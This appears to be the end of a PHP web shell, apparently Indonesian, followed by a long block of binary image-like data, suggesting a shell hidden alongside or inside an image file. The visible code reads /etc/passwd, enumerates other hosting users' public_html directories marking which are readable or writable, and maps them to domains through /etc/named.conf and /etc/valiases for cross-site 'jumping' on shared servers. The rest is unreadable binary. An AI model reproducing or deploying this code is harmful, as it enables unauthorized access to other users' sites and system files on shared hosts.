                List Domains: <br>
                <textarea name="url" class="form-control">';
            bing("ip:$ip");
            echo '</textarea><br>
                <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
            </form></center>';
        }
    } else {
        echo "<pre>";
        $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>");
        while ($passwd = fgets($etc)) {
            if ($passwd == '' || !$etc) {
                echo "<font color=red>Can't read /etc/passwd</font><br/>";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                foreach ($user_jumping[1] as $user_pro_jump) {
                    $user_jumping_dir = "/home/$user_pro_jump/public_html";
                    if (is_readable($user_jumping_dir)) {
                        $i++;
                        $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>";
                        if (is_writable($user_jumping_dir)) {
                            $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>";
                        }
                        echo $jrw;
                        if (function_exists('posix_getpwuid')) {
                            $domain_jump = file_get_contents("/etc/named.conf");
                            if ($domain_jump == '') {
                                echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
                            } else {
                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                foreach ($domains_jump[1] as $dj) {
                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                                    $user_jumping_url = $user_jumping_url['name'];
                                    if ($user_jumping_url == $user_pro_jump) {
                                        echo " => ( <u>$dj</u> )<br>";
                                        break;
                                    }
                                }
                            }
                        } else {
                            echo "<br>";
                        }
                    }
                }
            }
        }
        if (!$i == 0) {
            echo "<br>Total ada $i kamar di $ip";
        }
        echo "</pre>";
    }
    echo "</div><br/>";
    exit;
}
?>




-% %--------------------------------------------------��1�����B!1AQa"q����#2BR���br���3�$���4s������6!1A"2Qaq��B���#��3R�Sr���?�P@ RP�)�O3�ei9�+m�1�m�]��d�.�7\�n��_eRy��Q��
7����$�"pz��U��c�;Ut<X'��}���Q��~YmaU�)C�(�%�7�1<H5�C
�1�V�>>�h_%�r�:M\��!k0����א�����W�9��VN;M=3�0 �@�Ƀl�pMv�P�z�C�_���|���t)_�.�?OvY@�h
h���NnOl���WL{`��¬�`�g{��Dž�6p�

�j�2��ª%,F��D
}%��ڬ<�~�+���ثg�i�霡�@ ��=�����x�k�������N~FO����%��\�/�d܏����_���b�j؍�H`t�cK��f��z,�9=%��ƨ���/r��vwZ���b���
:4��I��z���$�c<�W�;%'X��~B�͆��њz�<�}�c�j��8��9���ew��,TҘ��w}��F
�v�f/Ш^5rmE�t*�Y��3�wA�~<}�s-�"jYL37u�1l���sO����;��W�_}�ЯT�I�������u������9X9 �@ �d0P�����G�ߒ��v�j=7B��ױq��Ku�l�Ў�X7b�YDlP�d�#Q��k!�S��K}��e��_�˧�ZQ�g��C��Ћ�c����_2Mw%��p�፣���(3fܔ"_�7��U�5�載a}�K4�L��
؜᩾�ݿ[#��3`�/&��am񲧨>^����؀�1I�jb��{vp^�u�'8�>��7����s��9{��z31��W��_f���/ݨal��t��|-�p�̋�~E��Ӻ
p��zfD�����P�D�vr��)��U�"*�gy��{G�ȯ�bb@ ���|'�3Y���!��N^��v���z~#ɹC��/���,@��{g�(�W���h�,�b������Xэ�nX|Qa��M�dq���;�.�$�Zc�y4�nl�_3�_�3]�k�qF�&d9��m߰���\�7m���=�V��鞌>�w���iv*���4�0�;Ɓp[mlz�3�n,g5/��x=r�lyS�����G����K�h˃rF�o C���	�boùN9��ο���C`[C��T�RD	Ї�v&�po�Y����k��Ts���?���e
�;�N�,YF�EW�/%f�q3���S��@ �ѶV�CJ������Թ�sܵ�=�@���~d(]suI��'a`�gWY5l��Djؓ��"{e�b1�d��me�O?T��ؗonp�f�9+t�Gӗ��L;��f�W�����#�4���l���q!���\���NJz)�-�r:�R��FP{^WՒ[uB�j#?����R�����2����{sAQ��S����G%���Pl}���.��x�/6�#dc�{�>�cP:Q�\@��A��Ac�2I�ے�e�������������(
$tl�CIJ�'>�>���~J�~NN_�ȶFII�r|��qj�e���Oe��c�+��
�@l��j^��@h�hq�{���h*�W��'(�.�B��w y
THJJ�>�}J΍��J�j}4h&�}s�B�:-�oɧdW�rP�9.Y4lM�YDr��%tW�p5m<�8269�:5�.q�h̩�rr$��a��/k�c��Qm����x����+���ɾ
&m�1�t{w.�+�^�̞C%9�!�Be=LN���?"9y���_t;O��( :i�OEꢢ�q�O��jpMR�\K���Z�J��E������8��hۿ|Dk;��&�G�
����el���rm��ߺ�&�_FrY��ߺ�&�_Fp�'{~�)��?f"�N�[&C$��/����bUt��ŢW��{�.�7���9w�3�u���Ѣ�8�Zk�[_5d�K*�E����/$�,I��j��c?�E�S��d����g�����cs��8����9�M ���y����}�Զz����RM�w�P��[\�"het�~�n��Z8=�-W�Z��gs���8�"�5�Jl���W
[���uB6`[�xs�[���w�:���A���p��
������C볗o�l�q��U^ �w5�?%7�p^QE�!˟��a��	�%��Q���?��x�z�T�����q�V��~�_P����N�����9	%K]Qo�
�C%/���cy����#]�7}��o��6�����V#U~4T�~_�U���k߅�:('TT�+����-��t�8����l[��n��y��v���P���i�3�[��A�D\���EV�h�F.�z��jC�i!s����I������v�V�?���1�4�
�xx���i-#@Z@ �q��p|6J��@���� 8�O$�
����.OHڰ��i{�}.C)�n����i�J�;����Q�|�M��i��Dr�>��׶��9����ZyR��|
�n�LA����w����ū���H����	
Ǫ��ϰӺ������;qYV���F�4�F^[�[$����u�ć�r���X�����U��Gу{�߉;Ϥo�x���t���3Q���K�{2g��h��F����2��r��'�gJ���e��c�떬:���*8���6�-ׁ��]�]��(f?M&��*x���X�Z_R4�i���e�'�u�|qj<iԲ����t��- �d�ce�WH�A�����'{�_?�JBhxnm���fO�H����duNL�1��aq�$7��Tf���9���x>&�t��N��'���L����qY�e�
��I����8�����`{��:�f�V�U����6�6�f!���L�L���n�o����
�k�A*��2�]��hF��<
�������I�d��f�;M�z��࡚�7��-��âۊ-�N��kD��H��� {߂�].qpu�ė�<�T�R��>b�=�4��8�r���A��+Ү�AQ$�W����۵�׶>��&ݰycc�"�Y��*�V�{{�n�\�ܥ�ܻbo���8m5>�5�h��9w�?H�fhv�r����ۋ�k�FW��dz�~�c�_j)gf�w��~Ӛ�������;��������6y�جZ�dp�`��=����B���v�aN-s��9@��G	l�q�y�݀m�2�@\����֙�R�����$ssi���VME� 
6i���{�+4�Xɴ� ��r@S6�6�JƗ��\�Hi�^�	��X2b��K#�{��HY07@L�&)����?�]�>׿���E�J��4Ϣ�p�4^���[Ogg�>o�L��ӝ�#�,�5���(���	�艂�2w6����Y�+�C/�l�v'd䡧lr���H��KAu�h<l��5
�o�Z�y-p�� �/�� r�h�ȧjuWu#�v��6�E�=���Z�(�E�聬�p����쾶�xg�=��KYt��]��J���J��Y��m���@.~Lֻ_�v���8u��/��rΧ����4
�h���#k��M�O�Q��L�h���#8��j��Mܴ�,�k�Fk�[Fj��dq�#"M�s�<�nJ�u����w�o��Y��о۲48��ߗ�RD�f�͹-`����7]{p�c�jD�n���:���Z�װ<�b�XcFh
V:��f�d��~�w3[�f��̴�����d�\@{t���	(�w�0Z2O�`��>J�EZ}ȿ�gt{_�jUN�䪲�k��ͨ�)�������i$<H��-b��?[���\/��y���P퉎�Nj�+N�etn��289ϓz��A���
�)v�2$���i�h��s\-��
��,'y����wf3��`��Ց����o���eˍ�����x+�s!s]ͮi�i��7PͿ����y-M 
X�^ȶ�j�B�d�T�BV����c�Sq���#��b�_�kE��Se~>d�c���~�r��#�������^M�h"�4���'0�Kyc�	"�!m����;��N�=GT2@��
5�+ڍ<p6������Q�(Y�R	��4���2 �!+FS��4��e�`eKK��|
|�5Rx�K����'����49��hq#!�E�Ro�,�ɤ_0���*���仑F�g$��V���Lr����\ׁ��0:�c�|��[�̒ƸY���O��I3�p�F�
�&����CN9�v���#�m�]
����Q�4�l`9�_Mb��*1!�cFt�
W_~+e�V�M���' ?�<��l�l�Fw�F\�gx���B�9v��U��C9���\I���E��t�L�~Yp��]Ma$��|�ݿN�J�S*��f������N%}N�u�H*�iDw�|��mh�����YH�E�g5��u�ݿ�� =3yA�l���@��
���3@k�
���@q���xs�:��Tn�O��E��L��a�5[�O()�>
�g�MOjZD�����}�2q �q�Պm{ԙZ�}-��P��f8���v�;���=s٘$g�XqFT�Z���{엷1���߂hߢg�5������f��϶Mq�e�N@��[*���ݿZ�SQ�e{��A�M�|��J&�.mj�0Y��s�T2���.2�;����Q��ti���*�1ăb2��DB�$��%Ȫn�~!���qN�&'�&�+q�/���:E���
L��6��C%�����%�޴FmOiT�����-k���Ѣ�V{"�8M>�Ml�y��REi��t���� �V��Ѹ=�-p���֌���4M��Gn���p�d�j>*7�9.�0̌x�r��6�]�Ȫr���#j��g�P�ԻzH#{��-���3겥(𙫄%�CӀҘ]�k��]���kطt�s�²I�uE�h�V�a�%
�C\�-�V�b����+�@�ر��\M���z�z+Bp�QD|����{�5�I�Dc�>τ}�~.��~j�x��r �%�b������zg��ȍ��#D,Ui���
1�M.�$k��(�=-�R���/#%.�9�N<3�x-��'��#W(���9b���rsl�� J�p�@l���pWI�w���9uU�Ȍ8\���-�:�����b������Q�T�垮��E+Q����&�#oU{22��w)��~������K�{�qJ-��#g��=�WB�����Ug?~K=�F�c��W6xӃ��.�M�m��P���5�F��=?@�Q�P��"��⮒�o��_��>C��e���y��-�rW����߿��P��Պ����'�d�e����S��g���X������qVDT��:5���l��yc*��q!Kdsr:�>�e.$>�SƏ�ʻ�/�:i��rn�$���d��t��ɠ �R8��kA$�̕��rm9���j�v|2Β��խ��~�~^�ϥ�
[��{/̝lJ��K��jlՓV2����2���z|���1ʧ�Ϛ?�ٟ*�M�^O�_�=��~�gS���}�N��q<�y/|�YFNC/�E�:��~��_�g���1�G�_��p�eq�c�ǧ}Y��Z�f�AK0�����	kBuq�ǽ�k�2^Ʃ<�Ud�>����㏕(E����*��Ӂ"��n�@;��N�Yy�����]�����|k�_E�qԕe%�G+%/,��&��� ��6�2��E���-�������r�r;�l|��t��AYb����j���;+cT5�{"Ds�#�z��Z���Aq��1�+�71��+=�5�9�k�,�IU��~k��xz�/�%���5Ǐc��M>xk��bEc��V���8�p���u�NM=�
}�:���B��Q��%���Ϭ�~��u/�_2����EE!���.�O��)k�o��Zq�����e�u��kp#�^��֣��JR�Nr�6.�*�Q�k����]ǹω�Y�y�W̿�<l�rZS�?�u�����sT�[_��E��եI��jD�h ���j��ɚuw�S.���s�~����e�?��X�g�l�,�EJ�&�Z�F�:�09w���(���>kH�s�{K��9�U;�㑽Clr�a�s5�gz�zO懏�>[���
��%���y=�/G�G��^F��Lj�[#n!Q�ê�V;H���~4��n-�Zx���^7��oUͳ��،��@YK$���jM����V�Ŏ�~J7�cp���n�P����������t���B�3u�h�c،�>i.vyh:.lh�1P��[����&A ����4��Mg]�g3�t\[�ﱳ��+�lX�����Dtʦ�o�.�Dl�U�A�����؅?t5SN.�w3��b̿ҋ��b�`	Kg�����,թ;�7j3��t^���-��ܞ���x��YuG8ϙI��K���K_g5Q|ҍ��pk��-k�@ܸ�=3��W]�
1��z��-�#���<62����%��IXZ"df�1��E��QĻ�]'���gY�U%�buԮ�G��X��Vz�ƍ��,�]SqJUɚDi"�>Ib2�*v"x�*�f��.KU����@I`4�����N;(o�mm�>�����>˗��B�L:srY5l����6k�V�#��?%ҩpx��|z��[�V��Y������ö7G��E���"��Q7	�M�ϧ&�eo�)�̩�}�V(V��~ȃ��||��>�ݰ�辑��ZcT|/�Ϗu�3r%|��콑{��!%3��Hda9]�im��֟S�|��ެ3kM��Z�r��eΙl{]oϒ�Y�EK�#@��#]�P�ol�Em�aQZ٪_#~��k��/�t\aaWT�o-}U��e%�*�̭5z�"T4�U��$]`\��U�bP@�<.{�Ƃ\��5.&��(�&̚+o�zG���xA�z�\��p�z����K$>b�z�s;�ս-���Z�,�+x�����PZ��r��k�,��.�N��l�e?�E��ӊ��Y��?�&P�E�q\�&�F9���⢵�A9�M�M���ULF&�x��RM�t���K��.${R��.�W��$I�N\91��'2u�E��ߓ?���E6m��U�%CIܫX�b��¹��tZ�h��@?f��C���(��9_75�a��9���-���m�A0G^ ���u�kRE�l����T����W*;/��d�
��_�<8yL�W��%-J)���]ٛ��X۠	}I%���v"�[��C����dn�����199=N۾ߑ���z��\+��p���u�,�KJ���Ř�,d��Rl�G%�V��M�hٸ��Pɛ$6�ʼ�,P�G*�d�C9��X��,Q;�W6�w2�V����@];"�>��Eqv�;������DҴ�[�/�?� =��"=
�;�cA��9��t����+��`�xHڀ�b�8�,��M��ܟ��l�)vv';�����@0�
�|�S
�EK�'"�v�2���H=ɦFwr���q��-\��#�9j�̤!#��$I
$r�96K5���X�:�n�u��\}�j�0 �7����T�S���M�;��@n��€U +{E�@d��a��G,�-o��Y��]J�ᢤ��n�t�.
�6E2���ؙm��=3��;�2�VQK2�;	F�̪��h�e,�U'=�F#�K�:�r�d@
Ӱ	�*53���F-�'��S;#Б�l~H�@z����8�Nڬ$g�E�mu;���Us[Z �r/�����U���g:��[9��st�,[L��3	���U}B^��=C=�rT(�i���ғ��Sl�GBe��qoɶМ���KF�c7��G���K�7l5rS��N��FH�
� �� >��}��[1v�гu�����1�t&�n᧐6N{���`�\b)�i�`�iV$� }ۃ�U�x�l������]L95"��h���t-���.��l�0La���*���o�;�,c��d�=e:�R!s<|KY�!��]S�m�h��)�u�����J=�j��j�#U���6���ȖUJ>FjB3���!ii �#"�y�7N�{Kl�
z�u
'q�&�57���

�4m��f9�x�>�b��8�ɩp��:g�-ɷ���&�����u>�,��2��9�NVV*��m�Nz�^�Nd�����JZ�H��n�T���*�}�;�-��"k%\����֊�+���uM)rO8����:+��,9�l�)��8pV��I�8)AE�ޫj�ى[�V����ͱp�A�\G�[�꼟Z΅��𼿹�^�d�,w]@,Aj��m3�8&�3]����4]Z,�\����_:�� =@Z6so�h�-������;P���S�L���C�
�v�`
���m� 7�
\���ӳ��nLc�)5d�Nd�/�i}m�RR�駷�I�b�=Kd�"�ꇪȱCU�r�Ol�\t�hf�x>����4�~�p��۱ۮ�ӥ�c���6c��#܉n鐹nLVl&M7o�G����5�k�G:]+"/�!�͸������������b־�DI_I�O��\���}�B�A����;������s���j�}�n_r�6���GQX���n�����;��?%��|�������@ �6��o�A��\��v�~�7Z���&d�D#�rd���ѩĄ��H��a<���D�W*�_g��D�ܮc{e��`{Gh��� d٢ J�8�<�Um���?��\�'��~��!�̫d��A�Qs�����U]��mdC�C�\H�p�5��	c=�z<N٭I6�������1�Db��}�ч"S��3�p8���}u>������L��� @ ��wl��|�/GӠ�$����{�'�یQA���8�c9�qU'\�4d�sR�R��N��4fDW�9:��vE.ih۠$�X�lAs�8ui�Ђ>j;+S&��\���(�/l��l�G�	�ͤ����t+�3�X���nNk�z���Z����*q6�7�$ٟ!�I
�d6\�*�,��f�Y��:�<U�EEh�NNOdj��@~ٌϣl�7v���6�����\�ꑢ�J���m]��GlAj3y��^��#d{�����JRZ:˚�H�o3�⠱�1��T�\��[\��$Q$_�5����t�
r3P�@P� 3��ym�|���ӇГ՟�g4�q��\y�I�+t��h�~D� �@j�0Ki�h�����\��sg^���%j�����Cl��b��h{�Z7��V��Fͅr.��^��yi|Z��O�㿗hc6���-����/�$�j��2������fm���"h��W�@W7��0�Y�j��@ �@�Q�ѩ Sd|Kfс���z.%��gz��"�O�\f����aV)�6�B��H�ID��1ؕr����b-��z�r���:��@ �@�	�}�~kY��޿�.��,�'~��^�dm�hX��{X[d5�~�W!oi�2��X+�����f�m���
�E|�
b@ �@ q�t�5��Sѣ��0A�<�*��g^�T�p��l5U�jaQ�e�ʬð�b��u԰��'=��G��a"��Zں��P��-��Ev��Q��!怀@ �@!��N�ӭ�E�J;!܉*����:�H/�'@w^<��FP��'޷(���7�'~!7���aĒ�+dr��\K�-��r.#�VaW�*Yn�Ex��@ �@ ���`�|�U�_������R���w̫��
9%uY* �@ ���